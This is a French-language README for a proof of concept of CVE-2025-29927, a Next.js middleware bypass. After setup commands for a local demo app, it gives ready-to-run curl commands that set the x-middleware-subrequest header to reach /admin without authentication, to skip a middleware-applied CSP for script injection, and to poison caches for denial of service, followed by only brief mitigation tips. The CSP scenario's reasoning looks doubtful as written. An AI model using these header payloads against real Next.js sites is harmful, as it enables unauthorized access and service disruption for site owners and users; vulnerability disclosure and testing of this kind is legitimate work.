CVE-2025-29927 : PoC de contournement du middleware Next.js

Aperçu

Ce PoC démontre CVE-2025-29927, une vulnérabilité dans le middleware Next.js qui permet aux attaquants de contourner les mécanismes d'authentification, d'autorisation et de CSP en utilisant l'en-tête x-middleware-subrequest.

Versions concernées

Versions de Next.js 11.1.4 à 15.1.7

Installation et configuration

1️⃣ Cloner et installer le PoC

git clone https://github.com/Eve-SatOrU/POC-CVE-2025-29927.git
cd POC-CVE-2025-29927
cd Demo 
cd my-next-app
npm install
npm run dev

L'application démarrera sur http://localhost:3000

Scénarios d'exploitation

1️⃣ Contournement de l'authentification et de l'autorisation (cURL)

1- Utilisez x-middleware-subrequest pour obtenir un accès non autorisé :

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin

💥 Résultat attendu : la réponse renvoie admin admin, même si l'authentification a été contournée.

2️⃣ Contournement de la CSP pour l'injection XSS

Si la CSP est appliquée via le middleware, contournez-la :

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "Content-Security-Policy: default-src 'self'" \
     http://localhost:3000/admin

💥 Résultat attendu : la CSP est ignorée, ce qui permet l'exécution de scripts malveillants.

3️⃣ Attaque DoS par empoisonnement du cache (CPDoS)

Exploitez l'empoisonnement du cache en forçant une réponse malformée :

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
     -H "Cache-Control: public, max-age=3600" \
     http://localhost:3000/admin

💥 Résultat attendu : la page est mise en cache avec un contenu incorrect, perturbant les utilisateurs normaux.

Stratégies d'atténuation

• ✅ Validez la logique du middleware pour empêcher le contournement .
• ✅ Mettez à jour Next.js dès qu'une version corrigée est publiée .

Crédits

🔍 Découvert par : Allam Rachid (zhero;) et Allam Yasser (inzo_)